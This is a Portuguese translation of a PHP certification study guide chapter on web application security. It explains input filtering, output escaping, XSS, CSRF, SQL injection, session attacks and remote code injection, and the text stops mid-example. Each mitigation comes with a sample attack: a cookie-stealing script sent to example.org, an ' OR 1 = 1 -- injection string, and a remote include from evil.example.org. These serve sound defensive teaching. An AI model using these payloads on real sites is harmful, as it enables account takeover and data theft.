Segurança no PHP
Por Davey Shafik e Ben Ramsey em Zend Certification Study Guide

Traduzido por Flávio Gomes da Silva Lisboa

N. do T.: Eu preferi traduzir alguns termos freqüentemente não traduzidos, simplesmente porque acho a nossa língua merece consideração. Claro, como o inglês é uma língua pobre, não dá pra exigir que eles tenham termos adequados. Assim, procurei usar palavras que expressem o mais próximo possível o sentido do termo usado em inglês. A saber, *escape* virou *tratar*, *query string* virou l*iteral de consulta.*

# Índice


Conceitos e Práticas....2
Toda Entrada está Doente....2
Lista Branca versus Lista Negra....2
Filtro de Entrada....3
Tratamento de Saída....3
Register Globals....4
Segurança de Website....5
Formulários Falsificados....5
Cross-Site Scripting....6
Cross-Site Request Forgeries....6
Segurança de Banco de Dados....7
Segurança de Sessão....8
Segurança do Sistema de Arquivos....9
Remote Code Injection....9
Command Injection....10
Shared Hosting....10
Sumário....11

Ben Parker avisou uma vez seu jovem sobrinho Peter Peter, cujo alter-ego super-herói é o Homem-Aranha, que “com um grande poder, vem uma grande responsabilidade”. Assim é com a segurança em aplicações PHP. O PHP fornece um rico conjunto de ferramentas com imenso poder – alguns tem argumentado que talvez seja muito poder – e este poder, quando usado com cuidadosa atenção aos detalhes, permite a criação de aplicações complexas e robustas. Por outro lado, sem essa atenção para os detalhes, usuários maliciosos podem usar o poder do PHP para seus próprios interesses, atacando aplicações de várias formas. Este capítulo examina alguns desses vetores de ataque, fornecendo a você os meios para mitigar ou mesmo eliminar a maioria deles.

É importante compreender que nós não esperamos que este capítulo forneça uma cobertura exaustiva de todos os tópicos de segurança dos quais os desenvolvedores PHP devem estar cientes. Isto é, como nós mencionamos no prefácio, válido para todos os capítulos neste livro, mas nós imaginamos que um lembrete seria válido por causa das conseqüências seriamente potenciais de bugs relacionados a segurança.

# Conceitos e Práticas

Antes de analisar ataques específicos e como se proteger contra eles, é necessário ter um fundamento em alguns princípios básicos de segurança de aplicações Web. Estes princípios não são difíceis de assimilar, mas requerem uma mentalidade particular sobre dados; colocando de modo simples, uma mentalidade consciente da segurança assume que todos os dados recebidos na entrada estão doentes e devem ser filtrados antes do uso e tratados quando deixarem a aplicação.  É essencial compreender e praticar esses conceitos para garantir a segurança de suas aplicações.

## *Toda Entrada está Doente*

Talvez o mais importante conceito em qualquer transação seja o da confiança. Você confia nos dados que estão sendo processados? Você pode confiar? Esta resposta é fácil se você sabe a origem dos dados. Em suma, se os dados se originam de uma fonte externa tal como um formulário de entrada, um literal de consulta, ou mesmo um alimentador RSS, ele não pode ser confiável. Ele está doente. Dados dessas fontes – e de muitas outras – estão doentes porque não temos certeza se eles contém caracteres que podem ser executados no contexto errado. Por exemplo, o valor de um literal de consulta pode conter dados que forma manipulados por um usuário para conter Javascript que, quando interpretado por um navegador Web, pode ter conseqüências nocivas. Como regra geral, os dados em todos os  vetores superglobais do PHP devem ser considerados doentes. Isso é porque ou todos ou alguns dos dados fornecidos pelos vetores superglobais vem de uma fonte externa. Mesmo o vetor $_SERVER não é totalmente seguro, porque ele contém alguns dados fornecidos pelo cliente. A única exceção para esta regra é o vetor superglobal $_SESSION, que é persistido no servidor e nunca sobre a Internet. Antes de processar dados doentes, é importante filtrá-los. Uma vez que o dado é filtrado, ele é considerado seguro para uso. Há duas abordagens para filtrar dados: a lista branca e a lista negra.

## *Lista Branca versus Lista Negra*

Duas abordagens comuns para filtrar dados de entrada são a filtragem por lista branca e por lista negra. A abordagem da lista negra é a forma menos restritiva de filtragem que assume que o programador sabe tudo o que para o qual não deve ser permitida a passagem. Por exemplo, alguns fóruns filtram profanação usando uma abordagem de lista negra. Isso é, há um conjunto específico de palavras que são consideradas inapropriadas para aquele fórum; estas palavras são filtradas. Entretanto, qualquer palavra que não conste da lista é permitida. Assim, é necessário adicionar novas palavras para a lista de tempos em tempo, como os cabe aos moderadores ver. Este exemplo pode não correlacionar diretamente problemas específicos encarados pelos programadores tentando mitigar ataques, mas há um problema inerente na filtragem de lista negra que é evidente aqui: listas negras devem ser modificadas continuamente, e expandidas quando novos vetores de ataque tornam-se aparentes.
Por outro lado, filtragem por lista branca é muito mais restrita, ainda que ofereça ao programador a habilidade de aceitar somente a entrada que ele espera receber. Ao invés de identificar dados que são inaceitáveis, uma lista branca identifica somente os dados que são aceitáveis. Esta é a informação que você já tem quando desenvolve uma aplicação; pode mudar no futuro, mas você mantém controle sobre os parâmetros que mudam e não os deixa aos caprichos de pretensos atacantes. Desde que você controle os dados que aceita, os atacantes são incapazes de passar qualquer dado a não ser os permitidos pela lista branca. Por essa razão, listas brancas oferecem mais proteção contra ataque do que listas negras.

## *Filtro de Entrada*

Uma vez que toda entrada é doente e não pode ser confiável, é necessário filtrar sua entrada de modo a garantir que a entrada recebida seja a esperada. Para fazer isto, use uma abordagem de lista branca, como descrito anteriormente seguir. Como um exemplo, considere o seguinte formulário HTML.

```
<form method="POST">
Username: <input type="text" name="username" /><br />
Password: <input type="text" name="password" /><br />
Favourite colour:
<select name="colour">
<option>Red</option>
<option>Blue</option>
<option>Yellow</option>
<option>Green</option>
</select><br />
<input type="submit" />
</form>
```

Este formulário contém três elementos de entrada: : username, password, e colour. Para este exemplo, username deve conter somente caracteres alfabéticos, , password deve conter somente caracteres alfanuméricos, e colour deve conter algum destes valores “Red,” “Blue,”“Yellow,” ou “Green.” É possível implementar algum código de validação no lado do cliente usando Javascript para reforçar estas regras, mas, como descrito mais adiante na seção sobre formulários falsificados, não é sempre possível forçar o usuários a usar somente seu formulário e, assim, suas regras do lado do cliente. Portanto, a filtragem do lado do servidor é importante para a segurança, enquanto a validação no lado do cliente é importante para usabilidade. Para filtrar a entrada recebida com este formulário, comece por inicializar um vetor em branco. É importante usar um nome que configure esse vetor para conter somente dados filtrados; este exemplo usa o nome $clean. Mais tarde em seu código, quando encontramos a variável $clean['username'], você pode estar certo de que este valor tem sido filtrado. Se, contudo, você ver $_POST['username'] sendo usado, você não pode ter certeza de que os dados são confiáveis. Assim, desfarte a variável e use a chave do vetore $clean em seu lugar. O seguinte código de exemplo mostra um modo de filtrar a entrada para este formulário:

```
$clean = array();
if (ctype_alpha($_POST['username']))
{
	$clean['username'] = $_POST['username'];
}
if (ctype_alnum($_POST['password']))
{
	$clean['password'] = $_POST['password'];
}
$colours = array('Red', 'Blue', 'Yellow', 'Green');
if (in_array($_POST['colour'], $colours))
{
	$clean['colour'] = $_POST['colour'];
}
```

Filtrar com uma abordagem de lista branca coloca o controle firmemente em suas mão e assegura que sua aplicação não receberá dados maus. Se, por exemplo, alguém tentart passar um nome de usuário ou cor que não é permitido para oi script em processamento, o pior que pode acontecer é o vetor $clean não conter um valor para username ou colour. Se username é requerido, então simplesmente exiba uma mensagem de erro para o usuário e peça-lhe para fornecer dados corretos. Você deve forçar o usuário a fornecer dados corretos e então tentar limpar e sanitizá-los por conta própria. Se você tentar sanitizar os dados, você pode terminar com dados maus, e você rodará com os mesmos problemas que resultados do uso de listas negras.

## *Tratamento de Saída*

A saída é tudo que deixa sua aplicação, vinculada a um cliente. Um cliente, neste caso, é tudo que é proveniente de um navegador Web para um servidor de banco de dados, e assim como você deve filtrar todos os dados de entrada, você deve tratar todos os dados de saída. Onde a filtragem de entrada protege sua aplicação de dados maus e nocivos, o tratamento de saída protege o cliente e o usuário de comandos potencialmente perigosos. O tratamento de saída não deve ser considerado como parte do processo de filtragem, entretanto. Esses dois passos, enquanto igualmente importantes. Servem a distintos e diferentes propósitos. A filtragem garante a validade de dados que entram na aplicação; o tratamento de saída protege você e seus usuários de ataques potencialmente nocivos. A saída deve ser tratada porque os clientes – navegadores Web, servidores de banco de dados, e assim por diante – freqüentemente executam uma ação quando encontram caracteres especiais. Para navegadores Web, esses caracteres especiais formam

delimitadores HTML; para servidores de banco de dados, eles podem incluir marcas de citação e palavras-chave SQL. Portanto, é necessário saber o destino pretendido de saída e tratá-la de acordo.

O tratamento de saída pretendido para um banco de dados não será suficiente quando enviar a mesma saída para um navegador Web – os dados devem ser tratados de acordo com seu destino. Uma vez que a maioria das aplicações PHP trabalham principalmente com a Web e bancos de dados, esta seção irá focar no tratamento de saída para esses meios, mas você deve sempre se certificar do destino de sua saída e quaisquer caracteres ou comandos que o destino possa aceitar e sobre os quais aja – e estar pronto para tratar estes caracteres ou comandos apropriadamente.

Para tratar a saída pretendida para um navegador Web, o PHP fornece as funções htmlspecialchars()
e htmlentities(), sendo que última é a mais exaustiva e, portanto, recomendada função para tratamento de saída. O seguinte exemplo de código ilustra o uso de htmlentities() de preparar a saída antes de enviá-la ao navegador. Outro conceito ilustrado é o uso de um vetor especificamente desenhado para armazenar saída. Se você preparar saída através do tratamento e armazená-la em um vetor específico, você pode então usar o conteúdo do último sem ter de se preocupar se a saída tem sido tratada. Se você encontrar uma variável em seu script que está sendo exibida e não faz parte desse vetor, então ela deve ser considerada com desconfiança. Esta prática ajudará seu código a ser mais fácil de ler e manter. Para este exemplo, assuma que o valor para $user_message vem de um conjunto de resultados de um banco de dados.

```
$html = array();
$html['message'] = htmlentities($user_message, ENT_QUOTES, 'UTF-8');
echo $html['message'];
```

O tratamento de saída pretendido para um servidor de banco de dados, tal como em uma declaração SQL, com a função *_escape_string() específica para o driver do banco; quando possível, use declarações preparadas. Uma vez que o PHP 5.1 inclui PDO (PHP Data Objects), você pode usar declarações preparadas para todos os motores de bancos de dados para os quais há um driver PDO. Se o motor do banco não suporta nativamente declarações preparadas, então o PDO emula essa característica de forma transparente para você. O uso de declarações preparadas permite a você especificar marcadores de lugar em uma declaração SQL. Essa declaração pode então ser usada múltiplas vezes através de uma aplicação, substituindo novos valores para os marcadores de lugar, a cada vez. O motor do banco de dados (ou PDO, se emular declarações preparadas) executa o trabalho duro de tratar os valores para uso na declaração. O capítulo Programação de Banco de Dados contém mais informação sobre declarações preparadas, mas o seguinte código fornece um exemplo simples para parâmetros obrigatórios em uma declaração preparada.

```
// Primeiro, filtre a entrada
$clean = array();
if (ctype_alpha($_POST['username']))
{
$clean['username'] = $_POST['username'];
}
// Configura um marcador de lugar nomeado na declaração SQL para o nome do usuário
$sql = 'SELECT * FROM users WHERE username = :username';
// Assume que o manipulador do banco de dados existe; prepara a declaração
$stmt = $dbh->prepare($sql);
// Vincula um valor ao parâmetro
$stmt->bindParam(':username', $clean['username']);
// Executa e busca resultados
$stmt->execute();
$results = $stmt->fetchAll();
```

## *Register Globals*

Quando configurado como On, a diretiva de configuração register_globals automaticamente injeta variáveis dentro de scripts. Isso é, todas as variáveis provenientes de literais de consulta, formulários postados, sessões armazenadas, cookies, e assim por diante, estão disponíveis como  o que parecem ser variáveis nomeadas localmente. Assim, se as variáveis não forem inicializadas antes do uso, é possível para um usuário malicioso configurar variáveis de script e comprometer uma aplicação.
Considere o seguinte código usado em um ambiente onde register_globals está configurado como On. A variável $loggedin não está inicializada,  assim um usuário para quem checkLogin() falharia pode facilmente configurar $loggedin ao passar loggedin=1 através do literal de consulta. Deste modo, qualquer um pode obter acesso a uma porção restrita do site. Para mitigar esse risco, simplesmente configure $loggedin = FALSE no início do script ou desligue register_globals, que é a abordagem preferida. Enquanto configurar register_globals para Off é a abordagem preferida, inicializar variáveis sempre é a melhor prática.

```
if (checkLogin())
{
```

```
        $loggedin = TRUE;
}
if ($loggedin)
{
        // faz alguma coisa só para usuários logados
}
```

Note que uma conseqüência de ter register_globals configurada para on é que é impossível determinar a origem da entrada. No exemplo anterior, um usuário poderia configurar $loggedin através do literal de consulta, um formulário postado, ou um cookie. Nada restringe o escopo no qual o usuário pode configurá-la, e nada identifica o escopo de onde ela vem. Uma melhor prática para código manutenível e gerenciável é usar o vetor superglobal apropriado para o local do qual você espera que os dados se originem —$_GET, $_POST, ou $_COOKIE. Isso garante duas coisas: primeiro, você sabe a origem dos dados; em adição, usuários são forçados a jogar pelas suas regras quando enviam dados para sua aplicação.
Antes do PHP 4.2.0, a diretiva de configuração register_globals era configurada como On por padrão. Desde então, essa diretiva tem sido configurada para Off por padrão; a partir do PHP 6, ela não existirá mais.

# Segurança de Website

Segurança de website refere-se à segurança dos elementos de um website através do qual um atacante pode interagir com sua aplicação. Esses pontos de entrada vulneráveis incluem formulários e URLs, que são os candidatos mais comuns e fáceis para um ataque em potencial. Assim, é importante focar nesses elementos para aprender como se proteger contra um uso impróprio de seus formulários e URLs. Em suma, filtrar a entrada e tratar a saída apropriadamente irá mitigar a maioria dos riscos.

## *Formulários Falsificados*

Um método comum usado por atacantes é uma submissão de formulário falsificado. Há várias formas de falsificar formulários, o mais fácil deles é simplesmente copiar um formulário alvo e executá-lo de um lugar diferente. Falsificar um formulário torna possível para um atacante remover todas as restrições do lado do cliente impostas pelo formulário de modo a submeter toda e qualquer forma de dados para sua aplicação. Considere o seguinte formulário:

```
<form method="POST" action="process.php">
<p>Street: <input type="text" name="street" maxlength="100" /></p>
<p>City: <input type="text" name="city" maxlength="50" /></p>
<p>State:
<select name="state">
<option value="">Escolha um estado...</option>
<option value="AL">Alabama</option>
<option value="AK">Alaska</option>
<option value="AR">Arizona</option>
<!-- opções continuam para todos os 50 estados -->
</select></p>
<p>Zip: <input type="text" name="zip" maxlength="5" /></p>
<p><input type="submit" /></p>
</form>
```

Este formulário usa o atributo maxlength para restringir o comprimento do conteúdo inserido nos campos. Pode haver também alguma validação JavaScript que teste essas restrições antes de submeter o formulário para process.php. Em adição, o campo selecionado contém um conjunto de valores que o formulário pode submeter. Entretanto, como mencionado anteriormente, é possível reproduzir este formulário em outro local e submetê-lo modificando a ação para usar uma URL absoluta. Considere a seguinte versão do mesmo formulário:

```
<form method="POST" action="http://example.org/process.php">
<p>Street: <input type="text" name="street" /></p>
<p>City: <input type="text" name="city" /></p>
<p>State: <input type="text" name="state" /></p>
<p>Zip: <input type="text" name="zip" /></p>
<p><input type="submit" /></p>
</form>
```

Nesta versão do formulário, todas as restrições do lado do cliente tem sido removidas, e o usuário pode entrar com qualquer dado, que será enviado para http://example.org/process.php, o script de processamento original para o formulário.
Como você pode ver, falsificar uma submissão de formulário é algo muito fácil de ser feito – e é também algo

virtualmente impossível de se defender. Você pode ter notado, entretanto, que é possível verificar o cabeçalho REFERER dentro do vetor superglobal $_SERVER. Enquanto esse modo fornece alguma proteção contra um atacante que simplesmente copia o formulário e o roda de outro local, mesmo um hacker moderadamente artesanal será capaz de contornar facilmente isso. É suficiente dizer que, desde que cabeçalho Referer é enviado para o cliente, é fácil manipulá-lo, e seu valor esperado é sempre aparente: process.php esperará que a URL referida seja aquela da página de formulário original.
A despeito do fato de que submissões de formulários falsificados são difíceis de prevenir, não é necessário negar dados submetidos de outras fontes que não os seus formulários. É necessário, entretanto, assegurar que toda entrada siga as regras. Não desmereça as técnicas de validação do lado do cliente. Elas reiteram a importância de filtrar toda a entrada. Filtrar entrada garante que todos os dados devem estar em conformidade com um lista de valores aceitáveis, e mesmo formulários falsificados não serão capazes de ultrapassar suas regras de filtragem do lado do servidor.

## *Cross-Site Scripting*

Cross-site scripting (XSS) é um dos mais comuns e mais conhecidos tipos de ataque. A simplicidade deste ataque e o número de aplicações vulneráveis em existência o tornam muito atraente para usuários maliciosos. Um ataque XSS explora a confiança do usuário na aplicação e é geralmente um esforço para roubar informações do usuário, tal como cookies e outros dados de identificação pessoal. Todas as aplicações que mostrar a entrada são um risco.
Considere o seguinte formulário, por exemplo. Este formulário pode existir em um número qualquer de websites de comunidades populares atualmente, e permite ao usuário adicionar um comentário ao perfil de outro usuário. Depois de submeter um comentário, a página mostra todos os comentários que foram previamente submetidos, e assim qualquer um pode ver todos os comentários deixados no perfil do usuário.

```
<form method="POST" action="process.php">
<p>Add a comment:</p>
<p><textarea name="comment"></textarea></p>
<p><input type="submit" /></p>
</form>
```

Imagine que um usuário malicioso submete um comentário em qualquer perfil que contenha o seguinte conteúdo (desculpe o trocadilho):

```
<script>
document.location = ”http://example.org/getcookies.php?cookies=”
+ document.cookie;
</script>
```

Agora, qualquer um que visite este perfil de usuário será redirecionado para a URL dada e seus cookies (incluindo qualquer informação de identificação pessoal e informação de login) serão adicionados ao literal de consulta. O atacante pode facilmente acessar os cookies com `$_GET['cookies']` e armazená-los para uso posterior. Esse ataque funciona somenete se a aplicação falhar no tratamento da saída. Assim, é fácil prevenir este tipo de ataque com o apropriado tratamento de saída.

## *Cross-Site Request Forgeries*

Um cross-site request forgery (CSRF) é um ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP, normalmente para URLs que requerem acesso privilegiado e usar a sessão existente da vítima para determinar o acesso. A requisição HTTP então força a vítima a executar uma ação particular baseada no seu nível de privilégio, tal como fazer uma compra ou modificar ou remover uma informação.
Considerando que um ataque XSS explora a confiança do usuário em uma aplicação, uma requisição forjada explora a confiança da aplicação em um usuário, uma vez que a requisição parece ser legítima e é difícil para a aplicação determinar o que o usuário pretende. Enquanto um tratamento apropriado de saída previne sua aplicação de ser usada como um veículo para um ataque CSRF, ele não previne sua aplicação de receber requisições forjadas. Assim, sua aplicação necessita da habilidade de determinar se uma requisição foi intencional e legítima ou forjada e maliciosa. Antes de examinar os meios de proteção contra requisições forjadas, pode ser útil compreender como tal ataque ocorre. Considere o seguinte exemplo. Suponha que você tem um site Web no qual usuários se registram em uma conta e então navegam em um catálogo de compra de livros. Novamente, suponha que um usuário malicioso assina uma conta e efetua o processo de compra de um livro do site. Ao longo do caminho, ele poderia aprender o seguinte por casual observação:

- Ele deve se logar para fazer uma compra.
- Depois de selecionar um livro para compra, ele clica no botão de compra, o qual redireciona-o para

checkout.php.

- Ele vê que a ação para checkout.php é uma ação POST mas imagina se passar os parâmetros com um literal de consulta com GET irá funcionar.
- Quando passa os mesmos valores pelo literal de consulta (assim, checkout.php?isbn=0312863551&qty=1), ele nota que consegue, de fato, comprar um livro.

Com seu conhecimento, o usuário malicioso pode fazer outros comprarem em seu site sem tomar conhecimento disso. O modo mais fácil de fazer isso é usar uma tag de imagem para embutir uma imagem em um site Web qualquer que não o seu próprio (embora, às vezes, seu próprio site possa ser usado para tal ataque). No código a seguir, o src da tag img faz uma requisição quando a página carrega.

```
<img src="http://example.org/checkout.php?isbn=0312863551&qty=1" />
```

Mesmo quando essa tag img é embutida em um site Web diferente, ela ainda continua a fazer a requisição para site de catálogo de livro. Para a maioria das pessoas, a requisição falhará porque os usuários devem estar logados para fazer uma compra, mas, para esses usuários que calham de estar logados no site (através de um cookie ou sessão ativa), este ataque expora a confianã que o Web Site tem no usuário e força-o a fazer uma compra. A solução para este tipo particular de ataque, contudo, é simples: force o uso de POST em sobreposição a GET. Este ataque funciona porque checkout.php usa o vetor superglobal $_REQUEST para acessar isbn e qty. Usar $_POST irá mitigar o risco desse tipo de ataque, mas não protegerá contra todas as requisições forjadas.
Outros ataques mais sofisticados podem fazer requisições POST tão facilmente quanto GET, mas um simples método de token pode bloquear essas tentativas e forçar os usuários a usar seus formulários. O método de token envolve o uso de um token gerado randomicamente que é armazenado na sessão do usuário quando o usuário acessa a página do formulário e também é colocado em um campo oculto no formulário. O script processador verifica o valor do token do formulário postado contra o valor na sessão do usuário. Se casar, então a requisição é válida. Se não, então é suspeita e o script não deve processar a entrada e, ao invés disso, deve mostrar uma mensagem de erro para o usuário. O seguinte extrato do formulário supracitado ilustra o uso do método de token:

```
<?php
session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
?>
<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<!-- Restante do formulário -->
</form>
```

O processamento do script que manipula este form (checkout.php) pode então verificar o seguinte token:

```
if (isset($_SESSION['token'])
&& isset($_POST['token'])
&& $_POST['token'] == $_SESSION['token'])
{
// Token é válido, continua processamento dos dados do formulário
}
```

# Segurança de Banco de Dados

Quando usamos um banco de dados e aceitamos entrada para criar uma parte de uma consulta ao banco, é fácil cair vítima de um ataque de SQL Injection. SQL Injection ocorre quando um usuário malicioso experimenta obter informações sobre um banco de dados através de um formulário. Depois de conseguir conhecimento suficiente – geralmente das mensagens de erro do banco de dados – o atacante estará equipado para explorar o formulário para quaisquer possíveis vulnerabilidades através de injeção de SQL em campos do formulário. Um exemplo popular é um simples formulário de login de usuário:

```
<form method="login.php" action="POST">
Username: <input type="text" name="username" /><br />
Password: <input type="password" name="password" /><br />
<input type="submit" value="Log In" />
</form>
```

O código vulnerável usado para processar este formulário de login parece com o seguinte:

```
$username = $_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT *
```

```
        FROM users
        WHERE username = '{$username}' AND
        password = '{$password}'";


/* conexão com o banco de dados e código da consulta */
if (count($results) > 0)
{
// Sucesso na tentativa de login
}
```

Neste exemplo, note como não há código para filtrar a entrada de `$_POST`. Ao invés disso a linha de entrada é armazenada diretamente na variável `$username`. Essa linha de entrada é então usada em uma declaração SQL – nada é tratado. Um atacante poderia tentar se logar usando um nome de usuário similar ao seguinte:

```
username' OR 1 = 1 --
```

Com o nome de usuário e uma senha em branco, a declaração SQL é agora:

```
SELECT *
FROM users
WHERE username = 'username' OR 1 = 1 --' AND
password = 'd41d8cd98f00b204e9800998ecf8427e'
```

Uma vez que `1 = 1` é sempre verdadeiro – e, ao iniciar um comentário SQL, a consulta SQL ignora tudo que vem depois – todos os registros de usuário retornam com sucesso. Isso é suficiente para logar o atacante. Em acréscimo, se o atacante conhece o nome de usuário, ele pode fornecer o nome de usuário nesse ataque em uma tentativa de personificar o usuário ganhando suas credenciais de acesso.
Ataques SQL Injection são possíveis devido a falta de filtragem e tratamento. Filtragem de entrada e tratamento de saída apropriados para SQL eliminarão o risco de ataque. Para tratar saída para uma consulta SQL, use a função específica para driver `*_escape_string()` do seu banco de dados. Se possível, use parâmetros vinculados. Para mais informações sobre parâmetros vinculados, veja a seção anterior sobre Tratamento de Saída neste capítulo ou o capítulo Programação de Banco de Dados.

# Segurança de Sessão

Duas formas populares de ataques de sessão são *session fixation* (fixação de sessão) e *session hijacking* (seqüestro de sessão).
Considerando que a maioria dos ataques descritos neste capítulo pode ser prevenida por filtragem de entrada e tratamento de saída, ataques de sessão, por sua vez, não podem. Ao invés disso, é necessário se planejar para eles e identificar potenciais áreas problemáticas de sua aplicação.

i Sessões são discutidas no capítulo sobre *Programação Web*.

Quando um usuário encontrar a primeira página em sua aplicação que chame `session_start()`, uma sessão é criada para o usuário. PHP gera um identificador de sessão randômico para identificar o usuário, e então enviar um cabeçalho `Set-Cookie` para o cliente. Por padrão, o nome desse cookie é `PHPSESSID`, mas é possível alterar o nome do cookie no arquivo `php.ini` ou pelo uso da função `session_name()`. Em visitas subseqüentes, o cliente identifica o usuário com o cookie, e é assim que a aplicação mantém o estado. É possível, entretanto, configurar o identificador de sessão manualmente através de um literal de consulta, forçando o uso de uma sessão particular. Este simples ataque é chamado de *session fixation* porque o atacante fixa a sessão. Isso é obtido geralmente pela criação de um link para sua aplicação e a adição do identificador que o atacante deseja dar a qualquer usuário que clicar no link.

```
<a href="http://example.org/index.php?PHPSESSID=1234">Click here</a>
```

Enquanto o usuário acessa seu site através da sessão, eles podem fornecer informações sensíveis ou mesmo credenciais de login. Se o usuário faz login enquanto usa o identificador de sessão fornecido, o atacante pode ser capaz de "cavalgar" na mesma sessão e ganhar acesso à conta do usuário. É por isso que session fixation é algumas vezes referido como "session riding." Uma vez que o propósito do ataque é obter um alto nível de privilégio, os pontos aos quais o ataque deve ser bloqueado são claros: cada vez que um nível de acesso de usuário muda, é necessário regenerar o identificar de sessão. PHP faz disso uma tarefa simples com `session_regenerate_id()`.

```
session_start();
// Se o login do usuário foi feito com sucesso, regenera o ID da sessão
if (authenticate())
```

```
{
        session_regenerate_id();
}
```

Enquanto isto protegerá usuários de ter sua sessão fixada e oferecer acesso fácil para qualquer pretenso atacante, não ajuda muito contra qualquer outro ataque de sessão comum como *session hijacking*. Este é um termo genericamente usado para descrever quaisquer meios pelos quais um atacante obtenha um identificador de sessão válido (ou que forneça um de sua própria autoria).
Por exemplo, suponha que um usuário faz login. Se o identificador de sessão é regenerado, ele tem um novo ID de sessão. O que aconteceria se um atacante descobrisse este novo ID e tentasse usá-lo para obter acesso através da sessão de usuário? Seria então necessário usar outro meio para identificar o usuário.
Um modo de identificar o usuário, em adição ao identificador de sessão é verificar vários cabeçalhos da requisição enviados pelo cliente. Um cabeçalho de requisição que é particularmente útil e não muda entre requisições é `User-Agent`. Uma vez que é incomum (ao menos na maioria dos casos legítimos) que um usuário mude de um navegador para outro enquanto usa a mesma sessão, este cabeçalho pode ser usado para determinar uma possível tentativa de seqüestro de sessão.
Depois de uma tentativa de login bem-sucedida, armazene `User-Agent` na sessão:

```
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
```

Então, nos carregamentos de página subseqüentes, verifique se o `User-Agent` não mudou. Se ele mudou, então há motivo para preocupação, e o usuário deve se logar novamente.

```
if ($_SESSION['user_agent'] != $_SERVER['HTTP_USER_AGENT'])
{
        // Força o usuário a fazer log in novamente
        exit;
}
```

# Segurança do Sistema de Arquivos

PHP tem a habilidade de acessar diretamente o sistema de arquivos e mesmo de executar comandos de shell. Enquanto isso oferece aos desenvolvedores um grande poder, pode ser muito perigoso quando dados doentes entram pela linha de comando. Novamente, filtragem e tratamento apropriados podem mitigar esses riscos.

## *Remote Code Injection*

Quando inclur arquivos com `include` e `require`, preste muita atenção quando usar dados possivelmente doentes para criar uma inclusão dinâmica baseada na entrada do cliente, porque um erro pode facilmente permitir a pretensos hackers executar um ataque de injeção remota de código. Um ataque de injeção de código remota ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP de seu escolha. Isso pode ter conseqüencias devastadoras para ambas aplicação e sistema.
Por exemplo, muitas aplicações fazem uso de variáveis literais de consulta para estruturar a aplicação em seções, tais como: `http://example.org/?section=news`. Tal aplicação pode usar uma declaração `include` para incluir um script que mostra a seção "news":

```
include "{$_GET['section']}/data.inc.php";
```

Quando usar a URL apropriada para acessar esta seção, o script irá incluir o arquivo localizado em `news/data.inc.php`. Entretanto, considere o que poderia acontecer se um atacante modificasse o literal de consulta para incluir um código localizado em um site remoto? A seguinte URL ilustra como um atacante pode fazer isso:

```
http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F
```

Agora, o valor doente `section` é injetado na declaração `include`, renderizando efetivamente algo como tal:

```
include "http://evil.example.org/attack.inc?/data.inc.php";
```

A aplicação irá incluir `attack.inc`, localizado no servidor remoto, que trata `/data.inc.php` como parte de um literal de consulta (neutralizando efetivamente seu efeito dentro do script). Qualquer código PHP contido em `attack.inc` é executado e rodado, independentemente de causar qualquer prejuízo pretendido pelo atacante.
Enquanto este ataque é muito poderoso, efetivamente garantindo ao atacante todos os mesmos privilégios gozados pelo servidor Web, é fácil proteger-se contra isso filtrando toda entrada e nunca usando dados doentes em uma declaração

include ou require. Neste exemplo, a filtragem pode ser tão simples quanto especificar um certo conjunto de valores esperados para section:

```
$clean = array();
$sections = array('home', 'news', 'photos', 'blog');
if (in_array($_GET['section'], $sections))
{
        $clean['section'] = $_GET['section'];
}
else
{
        $clean['section'] = 'home';
}
include "{clean['section']}/data.inc.php";
```

i A diretiva allow_url_fopen no PHP fornece a propriedade pela qual PHP pode acessar URLs, tratando-as como arquivos regulares – fazendo assim um ataque tal como o descrito aqui possível. Por padrão, allow_url_fopen é configurada como On; entretanto, é possível desligá-la no php.ini, o que previne suas aplicações de incluir ou abrir URLs remotas como arquivos (bem como efetivamente desabilitar muitas das características cool stream descritas no capítulo Arquivos e Streams).

## *Command Injection*

Assim como é perigoso permitir que uma entrada de cliente inclua arquivos dinamicamente, também é perigoso permitir ao cliente afetar o uso de execução de comandos do sistema sem controle estrito. Enquanto PHP provê grande poder com as funções exec(), system() e passthru(), bem como o operador ‘ (acento agudo), estes não devem ser usados levianamente, e é importante tomar grande cuidado em garantir que atacantes não possam injetar e executar comandos de sistema arbitrariamente.
Novamente, filtragem e tratamento apropriados irão mitigar o risco – uma abordagem de filtro de lista branca que limite o número de comandos que os usuários podem executar funciona muito bem aqui. Da mesma forma, PHP fornece escapeshellcmd() e escapeshellarg() como meios para tratar apropriadamente a saída do shell. Quando possível, evite o uso de comandos de shell. Se eles são necessários, evite o uso de entrada de cliente para construir comandos de shell dinâmicos.

# Shared Hosting

Há uma variedade de questões de segurança que surgem quando usamos soluções de hospedagem compartilhada. No passado, PHP tentou resolver algumas dessas questões com a diretiva safe_mode. Entretanto, como consta no manual do PHP, é “arquiteturalmente incorreto tentar resolver esse problema no nível do PHP.” Assim, safe_mode não estará disponível no PHP 6.
Ainda, há três diretivas no php.ini que permanecem importantes em um ambiente de hospedagem compartilhada: open_basedir, disable_functions, e disable_classes. Essas diretivas não dependem de safe_mode, e permanecerão disponíveis para um futuro previsível.
A diretiva open_basedir fornece a habilidade de limitar os arquivos que o PHP pode abrir para uma árvore de diretório especificada. Quando PHP tenta abrir um arquivo com, por exemplo, fopen()
ou include, ele verifica a localização do arquivo. Se existe dentro da árvore de diretório especificada por open_basedir, então ele terá sucesso; caso contrário, ele falhará ao abrir o arquivo.
Você pode configurar a diretiva open_basedir no php.ini ou em uma base per-virtual-host no
httpd.conf. No exemplo seguinte de host virtual no httpd.conf, scripts PHP podem somente abrir arquivos localizados nos diretórios /home/user/www e /usr/local/lib/php (o último freqüentemente é a localização da biblioteca PEAR):

```
<VirtualHost *>
DocumentRoot /home/user/www
ServerName www.example.org
<Directory /home/user/www>
php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/"
</Directory>
</VirtualHost>
```

As diretivas disable_functions e disable_classes trabalham de forma similar, permitindo a você desabilitar certas funções e classes nativas do PHP por razões de segurança. Quaisquer funções ou classes listadas nessas diretivas não estarão disponíveis para aplicações PHP rodando no sistema. Você pode configurar somente essas no php.ini. O seguinte exemplo ilustra o uso dessas diretivas para desabilitar funções e classes específicas:

```
; Disable functions
